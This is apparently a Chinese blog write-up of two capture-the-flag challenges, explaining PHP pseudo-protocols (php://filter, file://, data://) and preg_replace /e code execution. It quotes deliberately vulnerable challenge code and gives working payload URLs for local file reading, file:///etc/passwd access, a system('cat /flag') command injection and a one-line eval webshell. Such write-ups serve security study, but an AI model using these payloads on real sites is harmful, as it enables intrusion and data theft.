php伪协议的相关知识点:
[php知识点]PHP伪协议_Landasika的博客-CSDN博客
PHP伪协议总结 - 个人文章 - SegmentFault 思否
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而导致任意文件读取
file://伪协议 (读取文件内容)
通过file协议可以访问本地文件系统,读取到文件的内容,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:http://www.xx.com?file=file:///etc/passsword
协议参数:
常用的有
php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php
[BSidesCF 2020]Had a bad day
在注入点后加上
php://filter/resource=index.php
存在文件包含漏洞
去掉php,因为这个源码里会自动给加一个.php
即加上
php://filter/resource=index
出现这样的结果,我们可以换个加密语句
换为:
php://filter/read=convert.base64-encode/resource=index
因为我们采用了base64加密,将出现的内容复制进行解密
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="Images that spark joy">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
<title>Had a bad day?</title>
<link rel="stylesheet" href="css/material.min.css">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
<header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
<div class="mdl-layout__header-row">
<span class="mdl-layout-title">Had a bad day?</span>
<div class="mdl-layout-spacer"></div>
<div>
</header>
<div class="page-ribbon"></div>
<main class="page-main mdl-layout__content">
<div class="page-container mdl-grid">
<div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
<div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
<div class="page-crumbs mdl-color-text--grey-500">
</div>
<h3>Cheer up!</h3>
<p>
Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
</p>
<div class="page-include">
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
</div>
<form action="index.php" method="get" id="choice">
<center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
<button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
</form>
</div>
</div>
</main>
</div>
<script src="js/material.min.js"></script>
</body>
</html>
找到index.php
传入的category参数必须有woofers,meowers,index才行
输入
woofers/../flag
后查看源代码,看见源代码里有提示flag
那如何去获取flag.php的内容呢
这里使用的知识点是php://filter伪协议套协议
输入
/index.php?category=php://filter/convert.base64-encode/index/resource=flag
得到如下页面
复制进行解码得到flag
php伪协议相关知识点
https://www.cnblogs.com/wjrblogs/p/12285202.html
preg_replace远程代码执行
代码审计Day8 - preg_replace函数之命令执行 - 知乎
老洞新姿势,记一次漏洞挖掘和利用(PHPMailer RCE) - 先知社区
https://www.cnblogs.com/dhsx/p/4991983.html
preg_replace函数
[BJDCTF2020]ZJCTF,不过如此
查看题目为:
通过分析代码可知,GET传入两个参数text和file,test参数利用file_get_contents()参数只读形式打开,打开内容要和I have a dream 字符串内容相匹配,才能执行下面的文件包含$file参数,用file_get_contents()打开$text参数,以及下面的文件包含函数,则我们可以用php伪协议中的data://协议用filter协议去读下next.php的源码
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而导致任意文件读取
file://伪协议 (读取文件内容)
通过file协议可以访问本地文件系统,读取到文件的内容
data://(读取文件)
和php伪协议的input类似,碰到file_get_contents()来用
输入以下代码
index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
得到以下界面,复制去base64解码得到
解密得到以下代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
在代码中发现PHP preg_replace()函数
相关笔记链接:深入研究preg_replace与代码执行 - 先知社区
PHP preg_replace() 函数
preg_replace — 执行一个正则表达式的搜索和替换
固定解题模式:
\S*=${}
输入以下代码
next.php?\S*=${getFlag()}&cmd=system('cat /flag');
直接得到flag
或者
也可以用preg_replace()函数的代码执行构造出一个一句话木马用蚁剑连接找flag
\next.php?\S*=${eval($_[POST[cmd])};
在根目录下找到flag
参考wp有
[BJDCTF2020]ZJCTF,不过如此_penson by 小乌的博客-CSDN博客